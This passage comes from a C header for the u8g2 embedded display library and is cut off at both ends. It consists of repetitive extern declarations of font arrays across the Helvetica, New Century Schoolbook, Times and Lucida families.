u8g2_font_helvR14_tr[] U8G2_FONT_SECTION(\"u8g2_font_helvR14_tr\");\nextern const uint8_t u8g2_font_helvR14_tn[] U8G2_FONT_SECTION(\"u8g2_font_helvR14_tn\");\nextern const uint8_t u8g2_font_helvR14_te[] U8G2_FONT_SECTION(\"u8g2_font_helvR14_te\");\nextern const uint8_t u8g2_font_helvR18_tf[] U8G2_FONT_SECTION(\"u8g2_font_helvR18_tf\");\nextern const uint8_t u8g2_font_helvR18_tr[] U8G2_FONT_SECTION(\"u8g2_font_helvR18_tr\");\nextern const uint8_t u8g2_font_helvR18_tn[] U8G2_FONT_SECTION(\"u8g2_font_helvR18_tn\");\nextern const uint8_t u8g2_font_helvR18_te[] U8G2_FONT_SECTION(\"u8g2_font_helvR18_te\");\nextern const uint8_t u8g2_font_helvR24_tf[] U8G2_FONT_SECTION(\"u8g2_font_helvR24_tf\");\nextern const uint8_t u8g2_font_helvR24_tr[] U8G2_FONT_SECTION(\"u8g2_font_helvR24_tr\");\nextern const uint8_t u8g2_font_helvR24_tn[] U8G2_FONT_SECTION(\"u8g2_font_helvR24_tn\");\nextern const uint8_t u8g2_font_helvR24_te[] U8G2_FONT_SECTION(\"u8g2_font_helvR24_te\");\nextern const uint8_t u8g2_font_ncenB08_tf[] U8G2_FONT_SECTION(\"u8g2_font_ncenB08_tf\");\nextern const uint8_t u8g2_font_ncenB08_tr[] U8G2_FONT_SECTION(\"u8g2_font_ncenB08_tr\");\nextern const uint8_t u8g2_font_ncenB08_tn[] U8G2_FONT_SECTION(\"u8g2_font_ncenB08_tn\");\nextern const uint8_t u8g2_font_ncenB08_te[] U8G2_FONT_SECTION(\"u8g2_font_ncenB08_te\");\nextern const uint8_t u8g2_font_ncenB10_tf[] U8G2_FONT_SECTION(\"u8g2_font_ncenB10_tf\");\nextern const uint8_t u8g2_font_ncenB10_tr[] U8G2_FONT_SECTION(\"u8g2_font_ncenB10_tr\");\nextern const uint8_t u8g2_font_ncenB10_tn[] U8G2_FONT_SECTION(\"u8g2_font_ncenB10_tn\");\nextern const uint8_t u8g2_font_ncenB10_te[] U8G2_FONT_SECTION(\"u8g2_font_ncenB10_te\");\nextern const uint8_t u8g2_font_ncenB12_tf[] U8G2_FONT_SECTION(\"u8g2_font_ncenB12_tf\");\nextern const uint8_t u8g2_font_ncenB12_tr[] U8G2_FONT_SECTION(\"u8g2_font_ncenB12_tr\");\nextern const uint8_t u8g2_font_ncenB12_tn[] U8G2_FONT_SECTION(\"u8g2_font_ncenB12_tn\");\nextern const uint8_t u8g2_font_ncenB12_te[] U8G2_FONT_SECTION(\"u8g2_font_ncenB12_te\");\nextern const uint8_t u8g2_font_ncenB14_tf[] U8G2_FONT_SECTION(\"u8g2_font_ncenB14_tf\");\nextern const uint8_t u8g2_font_ncenB14_tr[] U8G2_FONT_SECTION(\"u8g2_font_ncenB14_tr\");\nextern const uint8_t u8g2_font_ncenB14_tn[] U8G2_FONT_SECTION(\"u8g2_font_ncenB14_tn\");\nextern const uint8_t u8g2_font_ncenB14_te[] U8G2_FONT_SECTION(\"u8g2_font_ncenB14_te\");\nextern const uint8_t u8g2_font_ncenB18_tf[] U8G2_FONT_SECTION(\"u8g2_font_ncenB18_tf\");\nextern const uint8_t u8g2_font_ncenB18_tr[] U8G2_FONT_SECTION(\"u8g2_font_ncenB18_tr\");\nextern const uint8_t u8g2_font_ncenB18_tn[] U8G2_FONT_SECTION(\"u8g2_font_ncenB18_tn\");\nextern const uint8_t u8g2_font_ncenB18_te[] U8G2_FONT_SECTION(\"u8g2_font_ncenB18_te\");\nextern const uint8_t u8g2_font_ncenB24_tf[] U8G2_FONT_SECTION(\"u8g2_font_ncenB24_tf\");\nextern const uint8_t u8g2_font_ncenB24_tr[] U8G2_FONT_SECTION(\"u8g2_font_ncenB24_tr\");\nextern const uint8_t u8g2_font_ncenB24_tn[] U8G2_FONT_SECTION(\"u8g2_font_ncenB24_tn\");\nextern const uint8_t u8g2_font_ncenB24_te[] U8G2_FONT_SECTION(\"u8g2_font_ncenB24_te\");\nextern const uint8_t u8g2_font_ncenR08_tf[] U8G2_FONT_SECTION(\"u8g2_font_ncenR08_tf\");\nextern const uint8_t u8g2_font_ncenR08_tr[] U8G2_FONT_SECTION(\"u8g2_font_ncenR08_tr\");\nextern const uint8_t u8g2_font_ncenR08_tn[] U8G2_FONT_SECTION(\"u8g2_font_ncenR08_tn\");\nextern const uint8_t u8g2_font_ncenR08_te[] U8G2_FONT_SECTION(\"u8g2_font_ncenR08_te\");\nextern const uint8_t u8g2_font_ncenR10_tf[] U8G2_FONT_SECTION(\"u8g2_font_ncenR10_tf\");\nextern const uint8_t u8g2_font_ncenR10_tr[] U8G2_FONT_SECTION(\"u8g2_font_ncenR10_tr\");\nextern const uint8_t u8g2_font_ncenR10_tn[] U8G2_FONT_SECTION(\"u8g2_font_ncenR10_tn\");\nextern const uint8_t u8g2_font_ncenR10_te[] U8G2_FONT_SECTION(\"u8g2_font_ncenR10_te\");\nextern const uint8_t u8g2_font_ncenR12_tf[] U8G2_FONT_SECTION(\"u8g2_font_ncenR12_tf\");\nextern const uint8_t u8g2_font_ncenR12_tr[] U8G2_FONT_SECTION(\"u8g2_font_ncenR12_tr\");\nextern const uint8_t u8g2_font_ncenR12_tn[] U8G2_FONT_SECTION(\"u8g2_font_ncenR12_tn\");\nextern const uint8_t u8g2_font_ncenR12_te[] U8G2_FONT_SECTION(\"u8g2_font_ncenR12_te\");\nextern const uint8_t u8g2_font_ncenR14_tf[] U8G2_FONT_SECTION(\"u8g2_font_ncenR14_tf\");\nextern const uint8_t u8g2_font_ncenR14_tr[] U8G2_FONT_SECTION(\"u8g2_font_ncenR14_tr\");\nextern const uint8_t u8g2_font_ncenR14_tn[] U8G2_FONT_SECTION(\"u8g2_font_ncenR14_tn\");\nextern const uint8_t u8g2_font_ncenR14_te[] U8G2_FONT_SECTION(\"u8g2_font_ncenR14_te\");\nextern const uint8_t u8g2_font_ncenR18_tf[] U8G2_FONT_SECTION(\"u8g2_font_ncenR18_tf\");\nextern const uint8_t u8g2_font_ncenR18_tr[] U8G2_FONT_SECTION(\"u8g2_font_ncenR18_tr\");\nextern const uint8_t u8g2_font_ncenR18_tn[] U8G2_FONT_SECTION(\"u8g2_font_ncenR18_tn\");\nextern const uint8_t u8g2_font_ncenR18_te[] U8G2_FONT_SECTION(\"u8g2_font_ncenR18_te\");\nextern const uint8_t u8g2_font_ncenR24_tf[] U8G2_FONT_SECTION(\"u8g2_font_ncenR24_tf\");\nextern const uint8_t u8g2_font_ncenR24_tr[] U8G2_FONT_SECTION(\"u8g2_font_ncenR24_tr\");\nextern const uint8_t u8g2_font_ncenR24_tn[] U8G2_FONT_SECTION(\"u8g2_font_ncenR24_tn\");\nextern const uint8_t u8g2_font_ncenR24_te[] U8G2_FONT_SECTION(\"u8g2_font_ncenR24_te\");\nextern const uint8_t u8g2_font_timB08_tf[] U8G2_FONT_SECTION(\"u8g2_font_timB08_tf\");\nextern const uint8_t u8g2_font_timB08_tr[] U8G2_FONT_SECTION(\"u8g2_font_timB08_tr\");\nextern const uint8_t u8g2_font_timB08_tn[] U8G2_FONT_SECTION(\"u8g2_font_timB08_tn\");\nextern const uint8_t u8g2_font_timB10_tf[] U8G2_FONT_SECTION(\"u8g2_font_timB10_tf\");\nextern const uint8_t u8g2_font_timB10_tr[] U8G2_FONT_SECTION(\"u8g2_font_timB10_tr\");\nextern const uint8_t u8g2_font_timB10_tn[] U8G2_FONT_SECTION(\"u8g2_font_timB10_tn\");\nextern const uint8_t u8g2_font_timB12_tf[] U8G2_FONT_SECTION(\"u8g2_font_timB12_tf\");\nextern const uint8_t u8g2_font_timB12_tr[] U8G2_FONT_SECTION(\"u8g2_font_timB12_tr\");\nextern const uint8_t u8g2_font_timB12_tn[] U8G2_FONT_SECTION(\"u8g2_font_timB12_tn\");\nextern const uint8_t u8g2_font_timB14_tf[] U8G2_FONT_SECTION(\"u8g2_font_timB14_tf\");\nextern const uint8_t u8g2_font_timB14_tr[] U8G2_FONT_SECTION(\"u8g2_font_timB14_tr\");\nextern const uint8_t u8g2_font_timB14_tn[] U8G2_FONT_SECTION(\"u8g2_font_timB14_tn\");\nextern const uint8_t u8g2_font_timB18_tf[] U8G2_FONT_SECTION(\"u8g2_font_timB18_tf\");\nextern const uint8_t u8g2_font_timB18_tr[] U8G2_FONT_SECTION(\"u8g2_font_timB18_tr\");\nextern const uint8_t u8g2_font_timB18_tn[] U8G2_FONT_SECTION(\"u8g2_font_timB18_tn\");\nextern const uint8_t u8g2_font_timB24_tf[] U8G2_FONT_SECTION(\"u8g2_font_timB24_tf\");\nextern const uint8_t u8g2_font_timB24_tr[] U8G2_FONT_SECTION(\"u8g2_font_timB24_tr\");\nextern const uint8_t u8g2_font_timB24_tn[] U8G2_FONT_SECTION(\"u8g2_font_timB24_tn\");\nextern const uint8_t u8g2_font_timR08_tf[] U8G2_FONT_SECTION(\"u8g2_font_timR08_tf\");\nextern const uint8_t u8g2_font_timR08_tr[] U8G2_FONT_SECTION(\"u8g2_font_timR08_tr\");\nextern const uint8_t u8g2_font_timR08_tn[] U8G2_FONT_SECTION(\"u8g2_font_timR08_tn\");\nextern const uint8_t u8g2_font_timR10_tf[] U8G2_FONT_SECTION(\"u8g2_font_timR10_tf\");\nextern const uint8_t u8g2_font_timR10_tr[] U8G2_FONT_SECTION(\"u8g2_font_timR10_tr\");\nextern const uint8_t u8g2_font_timR10_tn[] U8G2_FONT_SECTION(\"u8g2_font_timR10_tn\");\nextern const uint8_t u8g2_font_timR12_tf[] U8G2_FONT_SECTION(\"u8g2_font_timR12_tf\");\nextern const uint8_t u8g2_font_timR12_tr[] U8G2_FONT_SECTION(\"u8g2_font_timR12_tr\");\nextern const uint8_t u8g2_font_timR12_tn[] U8G2_FONT_SECTION(\"u8g2_font_timR12_tn\");\nextern const uint8_t u8g2_font_timR14_tf[] U8G2_FONT_SECTION(\"u8g2_font_timR14_tf\");\nextern const uint8_t u8g2_font_timR14_tr[] U8G2_FONT_SECTION(\"u8g2_font_timR14_tr\");\nextern const uint8_t u8g2_font_timR14_tn[] U8G2_FONT_SECTION(\"u8g2_font_timR14_tn\");\nextern const uint8_t u8g2_font_timR18_tf[] U8G2_FONT_SECTION(\"u8g2_font_timR18_tf\");\nextern const uint8_t u8g2_font_timR18_tr[] U8G2_FONT_SECTION(\"u8g2_font_timR18_tr\");\nextern const uint8_t u8g2_font_timR18_tn[] U8G2_FONT_SECTION(\"u8g2_font_timR18_tn\");\nextern const uint8_t u8g2_font_timR24_tf[] U8G2_FONT_SECTION(\"u8g2_font_timR24_tf\");\nextern const uint8_t u8g2_font_timR24_tr[] U8G2_FONT_SECTION(\"u8g2_font_timR24_tr\");\nextern const uint8_t u8g2_font_timR24_tn[] U8G2_FONT_SECTION(\"u8g2_font_timR24_tn\");\nextern const uint8_t u8g2_font_lubB08_tf[] U8G2_FONT_SECTION(\"u8g2_font_lubB08_tf\");\nextern const uint8_t u8g2_font_lubB08_tr[] U8G2_FONT_SECTION(\"u8g2_font_lubB08_tr\");\nextern const uint8_t u8g2_font_lubB08_tn[] U8G2_FONT_SECTION(\"u8g2_font_lubB08_tn\");\nextern const uint8_t u8g2_font_lubB08_te[] U8G2_FONT_SECTION(\"u8g2_font_lubB08_te\");\nextern const uint8_t u8g2_font_lubB10_tf[] U8G2_FONT_SECTION(\"u8g2_font_lubB10_tf\");\nextern const uint8_t u8g2_font_lubB10_tr[] U8G2_FONT_SECTION(\"u8g2_font_lubB10_tr\");\nextern const uint8_t u8g2_font_lubB10_tn[] U8G2_FONT_SECTION(\"u8g2_font_lubB10_tn\");\nextern const uint8_t u8g2_font_lubB10_te[] U8G2_FONT_SECTION(\"u8g2_font_lubB10_te\");\nextern const uint8_t u8g2_font_lubB12_tf[] U8G2_FONT_SECTION(\"u8g2_font_lubB12_tf\");\nextern const uint8_t u8g2_font_lubB12_tr[] U8G2_FONT_SECTION(\"u8g2_font_lubB12_tr\");\nextern const uint8_t u8g2_font_lubB12_tn[] U8G2_FONT_SECTION(\"u8g2_font_lubB12_tn\");\nextern const uint8_t u8g2_font_lubB12_te[] U8G2_FONT_SECTION(\"u8g2_font_lubB12_te\");\nextern const uint8_t u8g2_font_lubB14_tf[] U8G2_FONT_SECTION(\"u8g2_font_lubB14_tf\");\nextern const uint8_t u8g2_font_lubB14_tr[] U8G2_FONT_SECTION(\"u8g2_font_lubB14_tr\");\nextern const uint8_t u8g2_font_lubB14_tn[] U8G2_FONT_SECTION(\"u8g2_font_lubB14_tn\");\nextern const uint8_t u8g2_font_lubB14_te[] U8G2_FONT_SECTION(\"u8g2_font_lubB14_te\");\nextern const uint8_t u8g2_font_lubB18_tf[] U8G2_FONT_SECTION(\"u8g2_font_lubB18_tf\");\nextern const uint8_t u8g2_font_lubB18_tr[] U8G2_FONT_SECTION(\"u8g2_font_lubB18_tr\");\nextern const uint8_t u8g2_font_lubB18_tn[] U8G2_FONT_SECTION(\"u8g2_font_lubB18_tn\");\nextern const uint8_t u8g2_font_lubB18_te[] U8G2_FONT_SECTION(\"u8g2_font_lubB18_te\");\nextern const uint8_t u8g2_font_lubB19_tf[] U8G2_FONT_SECTION(\"u8g2_font_lubB19_tf\");\nextern const uint8_t u8g2_font_lubB19_tr[] U8G2_FONT_SECTION(\"u8g2_font_lubB19_tr\");\nextern const uint8_t u8g2_font_lubB19_tn[] U8G2_FONT_SECTION(\"u8g2_font_lubB19_tn\");\nextern const uint8_t u8g2_font_lubB19_te[] U8G2_FONT_SECTION(\"u8g2_font_lubB19_te\");\nextern const uint8_t u8g2_font_lubB24_tf[] U8G2_FONT_SECTION(\"u8g2_font_lubB24_tf\");\nextern const uint8_t u8g2_font_lubB24_tr[] U8G2_FONT_SECTION(\"u8g2_font_lubB24_tr\");\nextern const uint8_t u8g2_font_lubB24_tn[] U8G2_FONT_SECTION(\"u8g2_font_lubB24_tn\");\nextern const uint8_t u8g2_font_lubB24_te[] U8G2_FONT_SECTION(\"u8g2_font_lubB24_te\");\nextern const uint8_t u8g2_font_lubBI08_tf[] U8G2_FONT_SECTION(\"u8g2_font_lubBI08_tf\");\nextern const uint8_t u8g2_font_lubBI08_tr[] U8G2_FONT_SECTION(\"u8g2_font_lubBI08_tr\");\nextern const uint8_t u8g2_font_lubBI08_tn[] U8G2_FONT_SECTION(\"u8g2_font_lubBI08_tn\");\nextern const uint8_t u8g2_font_lubBI08_te[] U8G2_FONT_SECTION(\"u8g2_font_lubBI08_te\");\nextern const uint8_t u8g2_font_lubBI10_tf[] U8G2_FONT_SECTION(\"u8g2_font_lubBI10_tf\");\nextern const uint8_t u8g2_font_lubBI10_tr[] U8G2_FONT_SECTION(\"u8g2_font_lubBI10_tr\");\nextern const uint8_t u8g2_font_lubBI10_tn[] U8G2_FONT_SECTION(\"u8g2_font_lubBI10_tn\");\nextern const uint8_t u8g2_font_lubBI10_te[] U8G2_FONT_SECTION(\"u8g2_font_lubBI10_te\");\nextern const uint8_t u8g2_font_lubBI12_tf[] U8G2_FONT_SECTION(\"u8g2_font_lubBI12_tf\");\nextern const uint8_t u8g2_font_lubBI12_tr[] U8G2_FONT_SECTION(\"u8g2_font_lubBI12_tr\");\nextern const uint8_t u8g2_font_lubBI12_tn[] U8G2_FONT_SECTION(\"u8g2_font_lubBI12_tn\");\nextern const uint8_t u8g2_font_lubBI12_te[] U8G2_FONT_SECTION(\"u8g2_font_lubBI12_te\");\nextern const uint8_t u8g2_font_lubBI14_tf[] U8G2_FONT_SECTION(\"u8g2_font_lubBI14_tf\");\nextern const uint8_t u8g2_font_lubBI14_tr[] U8G2_FONT_SECTION(\"u8g2_font_lubBI14_tr\");\nextern const uint8_t u8g2_font_lubBI14_tn[] U8G2_FONT_SECTION(\"u8g2_font_lubBI14_tn\");\nextern const uint8_t u8g2_font_lubBI14_te[] U8G2_FONT_SECTION(\"u8g2_font_lubBI14_te\");\nextern const uint8_t u8g2_font_lubBI18_tf[] U8G2_FONT_SECTION(\"u8g2_font_lubBI18_tf\");\nextern const uint8_t u8g2_font_lubBI18_tr[] U8G2_FONT_SECTION(\"u8g2_font_lubBI18_tr\");\nextern const uint8_t u8g2_font_lubBI18_tn[] U8G2_FONT_SECTION(\"u8g2_font_lubBI18_tn\");\nextern const uint8_t u8g2_font_lubBI18_te[] U8G2_FONT_SECTION(\"u8g2_font_lubBI18_te\");\nextern const uint8_t u8g2_font_lubBI19_tf[] U8G2_FONT_SECTION(\"u8g2_font_lubBI19_tf\");\nextern const uint8_t u8g2_font_lubBI19_tr[] U8G2_FONT_SECTION(\"u8g2_font_lubBI19_tr\");\nextern const uint8_t u8g2_font_lubBI19_tn[] U8G2_FONT_SECTION(\"u8g2_font_lubBI19_tn\");\nextern const uint8_t u8g2_font_lubBI19_te[] U8G2_FONT_SECTION(\"u8g2_font_lubBI19_te\");\nextern const uint8_t u8g2_font_lubBI24_tf[] U8G2_FONT_SECTION(\"u8g2_font_lubBI24_tf\");\nextern const uint8_t u8g2_font_lubBI24_tr[] U8G2_FONT_SECTION(\"u8g2_font_lubBI24_tr\");\nextern const uint8_t u8g2_font_lubBI24_tn[] U8G2_FONT_SECTION(\"u8g2_font_lubBI24_tn\");\nextern const uint8_t u8g2_font_lubBI24_te[] U8G2_FONT_SECTION(\"u8g2_font_lubBI24_te\");\nextern const uint8_t u8g2_font_lubI08_tf[] U8G2_FONT_SECTION(\"u8g2_font_lubI08_tf\");\nextern const uint8_t u8g2_font_lubI08_tr[] U8G2_FONT_SECTION(\"u8g2_font_lubI08_tr\");\nextern const uint8_t u8g2_font_lubI08_tn[] U8G2_FONT_SECTION(\"u8g2_font_lubI08_tn\");\nextern const uint8_t u8g2_font_lubI08_te[] U8G2_FONT_SECTION(\"u8g2_font_lubI08_te\");\nextern const uint8_t u8g2_font_lubI10_tf[] U8G2_FONT_SECTION(\"u8g2_font_lubI10_tf\");\nextern const uint8_t u8g2_font_lubI10_tr[] U8G2_FONT_SECTION(\"u8g2_font_lubI10_tr\");\nextern const uint8_t u8g2_font_lubI10_tn[] U8G2_FONT_SECTION(\"u8g2_font_lubI10_tn\");\nextern const uint8_t u8g2_font_lubI10_te[] U8G2_FONT_SECTION(\"u8g2_font_lubI10_te\");\nextern const uint8_t u8g2_font_lubI12_tf[] U8G2_FONT_SECTION(\"u8g2_font_lubI12_tf\");\nextern const uint8_t u8g2_font_lubI12_tr[] U8G2_FONT_SECTION(\"u8g2_font_lubI12_tr\");\nextern const uint8_t u8g2_font_lubI12_tn[] U8G2_FONT_SECTION(\"u8g2_font_lubI12_tn\");\nextern const uint8_t u8g2_font_lubI12_te[] U8G2_FONT_SECTION(\"u8g2_font_lubI12_te\");\nextern const uint8_t u8g2_font_lubI14_tf[] U8G2_FONT_SECTION(\"u8g2_font_lubI14_tf\");\nextern const uint8_t u8g2_font_lubI14_tr[] U8G2_FONT_SECTION(\"u8g2_font_lubI14_tr\");\nextern const uint8_t u8g2_font_lubI14_tn[] U8G2_FONT_SECTION(\"u8g2_font_lubI14_tn\");\nextern const uint8_t u8g2_font_lubI14_te[] U8G2_FONT_SECTION(\"u8g2_font_lubI14_te\");\nextern const uint8_t u8g2_font_lubI18_tf[] U8G2_FONT_SECTION(\"u8g2_font_lubI18_tf\");\nextern const uint8_t u8g2_font_lubI18_tr[] U8G2_FONT_SECTION(\"u8g2_font_lubI18_tr\");\nextern const uint8_t u8g2_font_lubI18_tn[] U8G2_FONT_SECTION(\"u8g2_font_lubI18_tn\");\nextern const uint8_t u8g2_font_lubI18_te[] U8G2_FONT_SECTION(\"u8g2_font_lubI18_te\");\nextern const uint8_t u8g2_font_lubI19_tf[] U8G2_FONT_SECTION(\"u8g2_font_lubI19_tf\");\nextern const uint8_t u8g2_font_lubI19_tr[] U8G2_FONT_SECTION(\"u8g2_font_lubI19_tr\");\nextern const uint8_t u8g2_font_lubI19_tn[] U8G2_FONT_SECTION(\"u8g2_font_lubI19_tn\");\nextern const uint8_t u8g2_font_lubI19_te[] U8G2_FONT_SECTION(\"u8g2_font_lubI19_te\");\nextern const uint8_t u8g2_font_lubI24_tf[] U8G2_FONT_SECTION(\"u8g2_font_lubI24_tf\");\nextern const uint8_t u8g2_font_lubI24_tr[] U8G2_FONT_SECTION(\"u8g2_font_lubI24_tr\");\nextern const uint8_t u8g2_font_lubI24_tn[] U8G2_FONT_SECTION(\"u8g2_font_lubI24_tn\");\nextern const uint8_t u8g2_font_lubI24_te[] U8G2_FONT_SECTION(\"u8g2_font_lubI24_te\");\nextern const uint8_t u8g2_font_luBIS08_tf[] U8G2_FONT_SECTION(\"u8g2_font_luBIS08_tf\");\nextern const uint8_t u8g2_font_luBIS08_tr[] U8G2_FONT_SECTION(\"u8g2_font_luBIS08_tr\");\nextern const uint8_t u8g2_font_luBIS08_tn[] U8G2_FONT_SECTION(\"u8g2_font_luBIS08_tn\");\nextern const uint8_t u8g2_font_luBIS08_te[] U8G2_FONT_SECTION(\"u8g2_font_luBIS08_te\");\nextern const uint8_t u8g2_font_luBIS10_tf[] U8G2_FONT_SECTION(\"u8g2_font_luBIS10_tf\");\nextern const uint8_t u8g2_font_luBIS10_tr[] U8G2_FONT_SECTION(\"u8g2_font_luBIS10_tr\");\nextern const uint8_t u8g2_font_luBIS10_tn[] U8G2_FONT_SECTION(\"u8g2_font_luBIS10_tn\");\nextern const uint8_t u8g2_font_luBIS10_te[] U8G2_FONT_SECTION(\"u8g2_font_luBIS10_te\");\nextern const uint8_t u8g2_font_luBIS12_tf[] U8G2_FONT_SECTION(\"u8g2_font_luBIS12_tf\");\nextern const uint8_t u8g2_font_luBIS12_tr[] U8G2_FONT_SECTION(\"u8g2_font_luBIS12_tr\");\nextern const uint8_t u8g2_font_luBIS12_tn[] U8G2_FONT_SECTION(\"u8g2_font_luBIS12_tn\");\nextern const uint8_t u8g2_font_luBIS12_te[] U8G2_FONT_SECTION(\"u8g2_font_luBIS12_te\");\nextern const uint8_t u8g2_font_luBIS14_tf[] U8G2_FONT_SECTION(\"u8g2_font_luBIS14_tf\");\nextern const uint8_t u8g2_font_luBIS14_tr[] U8G2_FONT_SECTION(\"u8g2_font_luBIS14_tr\");\nextern const uint8_t u8g2_font_luBIS14_tn[] U8G2_FONT_SECTION(\"u8g2_font_luBIS14_tn\");\nextern const uint8_t u8g2_font_luBIS14_te[] U8G2_FONT_SECTION(\"u8g2_font_luBIS14_te\");\nextern const uint8_t u8g2_font_luBIS18_tf[] U8G2_FONT_SECTION(\"u8g2_font_luBIS18_tf\");\nextern const uint8_t u8g2_font_luBIS18_tr[] U8G2_FONT_SECTION(\"u8g2_font_luBIS18_tr\");\nextern const uint8_t u8g2_font_luBIS18_tn[] U8G2_FONT_SECTION(\"u8g2_font_luBIS18_tn\");\nextern const uint8_t u8g2_font_luBIS18_te[] U8G2_FONT_SECTION(\"u8g2_font_luBIS18_te\");\nextern const uint8_t u8g2_font_luBIS19_tf[] U8G2_FONT_SECTION(\"u8g2_font_luBIS19_tf\");\nextern const uint8_t u8g2_font_luBIS19_tr[] U8G2_FONT_SECTION(\"u8g2_font_luBIS19_tr\");\nextern const uint8_t u8g2_font_luBIS19_tn[] U8G2_FONT_SECTION(\"u8g2_font_luBIS19_tn\");\nextern const uint8_t u8g2_font_luBIS19_te[] U8G2_FONT_SECTION(\"u8g2_font_luBIS19_te\");\nextern const uint8_t u8g2_font_luBIS24_tf[] U8G2_FONT_SECTION(\"u8g2_font_luBIS24_tf\");\nextern const uint8_t u8g2_font_luBIS24_tr[] U8G2_FONT_SECTION(\"u8g2_font_luBIS24_tr\");\nextern const uint8_t u8g2_font_luBIS24_tn[] U8G2_FONT_SECTION(\"u8g2_font_luBIS24_tn\");\nextern const uint8_t u8g2_font_luBIS24_te[] U8G2_FONT_SECTION(\"u8g2_font_luBIS24_te\");\nextern const uint8_t u8g2_font_lubR08_tf[] U8G2_FONT_SECTION(\"u8g2_font_lubR08_tf\");\nextern const uint8_t u8g2_font_lubR08_tr[] U8G2_FONT_SECTION(\"u8g2_font_lubR08_tr\");\nextern const uint8_t u8g2_font_lubR08_tn[] U8G2_FONT_SECTION(\"u8g2_font_lubR08_tn\");\nextern const uint8_t u8g2_font_lubR08_te[] U8G2_FONT_SECTION(\"u8g2_font_lubR08_te\");\nextern const uint8_t u8g2_font_lubR10_tf[] U8G2_FONT_SECTION(\"u8g2_font_lubR10_tf\");\nextern const uint8_t u8g2_font_lubR10_tr[] U8G2_FONT_SECTION(\"u8g2_font_lubR10_tr\");\nextern const uint8_t u8g2_font_lubR10_tn[] U8G2_FONT_SECTION(\"u8g2_font_lubR10_tn\");\nextern const uint8_t u8g2_font_lubR10_te[] U8G2_FONT_SECTION(\"u8g2_font_lubR10_te\");\nextern const uint8_t u8g2_font_lubR12_tf[] U8G2_FONT_SECTION(\"u8g2_font_lubR12_tf\");\nextern const uint8_t u8g2_font_lubR12_tr[] U8G2_FONT_SECTION(\"u8g2_font_lubR12_tr\");\nextern const uint8_t u8g2_font_lubR12_tn[] U8G2_FONT_SECTION(\"u8g2_font_lubR12_tn\");\nextern const uint8_t u8g2_font_lubR12_te[] U8G2_FONT_SECTION(\"u8g2_font_lubR12_te\");\nextern const uint8_t u8g2_font_lubR14_tf[] U8G2_FONT_SECTION(\"u8g2_font_lubR14_tf\");\nextern const uint8_t u8g2_font_lubR14_tr[] U8G2_FONT_SECTION(\"u8g2_font_lubR14_tr\");\nextern const uint8_t u8g2_font_lubR14_tn[] U8G2_FONT_SECTION(\"u8g2_font_lubR14_tn\");\nextern const uint8_t u8g2_font_lubR14_te[] U8G2_FONT_SECTION(\"u8g2_font_lubR14_te\");\nextern const uint8_t u8g2_font_lubR18_tf[] U8G2_FONT_SECTION(\"u8g2_font_lubR18_tf\");\nextern const uint8_t u8g2_font_lubR18_tr[] U8G2_FONT_SECTION(\"u8g2_font_lubR18_tr\");\nextern const uint8_t u8g2_font_lubR18_tn[] U8G2_FONT_SECTION(\"u8g2_font_lubR18_tn\");\nextern const uint8_t u8g2_font_lubR18_te[] U8G2_FONT_SECTION(\"u8g2_font_lubR18_te\");\nextern const uint8_t u8g2_font_lubR19_tf[] U8G2_FONT_SECTION(\"u8g2_font_lubR19_tf\");\nextern const uint8_t u8g2_font_lubR19_tr[] U8G2_FONT_SECTION(\"u8g2_font_lubR19_tr\");\nextern const uint8_t u8g2_font_lubR19_tn[] U8G2_FONT_SECTION(\"u8g2_font_lubR19_tn\");\nextern const uint8_t u8g2_font_lubR19_te[] U8G2_FONT_SECTION(\"u8g2_font_lubR19_te\");\nextern const uint8_t u8g2_font_lubR24_tf[] U8G2_FONT_SECTION(\"u8g2_font_lubR24_tf\");\nextern const uint8_t u8g2_font_lubR24_tr[] U8G2_FONT_SECTION(\"u8g2_font_lubR24_tr\");\nextern const uint8_t u8g2_font_lubR24_tn[] U8G2_FONT_SECTION(\"u8g2_font_lubR24_tn\");\nextern const uint8_t u8g2_font_lubR24_te[] U8G2_FONT_SECTION(\"u8g2_font_lubR24_te\");\nextern const uint8_t u8g2_font_luBS08_tf[] U8G2_FONT_SECTION(\"u8g2_font_luBS08_tf\");\nextern const uint8_t u8g2_font_luBS08_tr[] U8G2_FONT_SECTION(\"u8g2_font_luBS08_tr\");\nextern const uint8_t u8g2_font_luBS08_tn[] U8G2_FONT_SECTION(\"u8g2_font_luBS08_tn\");\nextern const uint8_t u8g2_font_luBS08_te[] U8G2_FONT_SECTION(\"u8g2_font_luBS08_te\");\nextern const uint8_t u8g2_font_luBS10_tf[] U8G2_FONT_SECTION(\"u8g2_font_luBS10_tf\");\nextern const uint8_t u8g2_font_luBS10_tr[] U8G2_FONT_SECTION(\"u8g2_font_luBS10_tr\");\nextern const uint8_t u8g2_font_luBS10_tn[] U8G2_FONT_SECTION(\"u8g2_font_luBS10_tn\");\nextern const uint8_t u8g2_font_luBS10_te[] U8G2_FONT_SECTION(\"u8g2_font_luBS10_te\");\nextern const uint8_t u8g2_font_luBS12_tf[] U8G2_FONT_SECTION(\"u8g2_font_luBS12_tf\");\nextern const uint8_t u8g2_font_luBS12_tr[] U8G2_FONT_SECTION(\"u8g2_font_luBS12_tr\");\nextern const uint8_t u8g2_font_luBS12_tn[] U8G2_FONT_SECTION(\"u8g2_font_luBS12_tn\");\nextern const uint8_t u8g2_font_luBS12_te[] U8G2_FONT_SECTION(\"u8g2_font_luBS12_te\");\nextern const uint8_t u8g2_font_luBS14_tf[] U8G2_FONT_SECTION(\"u8g2_font_luBS14_tf\");\nextern const uint8_t u8g2_font_luBS14_tr[] U8G2_FONT_SECTION(\"u8g2_font_luBS14_tr\");\nextern const uint8_t u8g2_font_luBS14_tn[] U8G2_FONT_SECTION(\"u8g2_font_luBS14_tn\");\nextern const uint8_t u8g2_font_luBS14_te[] U8G2_FONT_SECTION(\"u8g2_font_luBS14_te\");\nextern const uint8_t u8g2_font_luBS18_tf[] U8G2_FONT_SECTION(\"u8g2_font_luBS18_tf\");\nextern const uint8_t u8g2_font_luBS18_tr[] U8G2_FONT_SECTION(\"u8g2_font_luBS18_tr\");\nextern const uint8_t u8g2_font_luBS18_tn[] U8G2_FONT_SECTION(\"u8g2_font_luBS18_tn\");\nextern const uint8_t u8g2_font_luBS18_te[] U8G2_FONT_SECTION(\"u8g2_font_luBS18_te\");\nextern const uint8_t u8g2_font_luBS19_tf[] U8G2_FONT_SECTION(\"u8g2_font_luBS19_tf\");\nextern const uint8_t u8g2_font_luBS19_tr[] U8G2_FONT_SECTION(\"u8g2_font_luBS19_tr\");\nextern const uint8_t u8g2_font_luBS19_tn[] U8G2_FONT_SECTION(\"u8g2_font_luBS19_tn\");\nextern const uint8_t 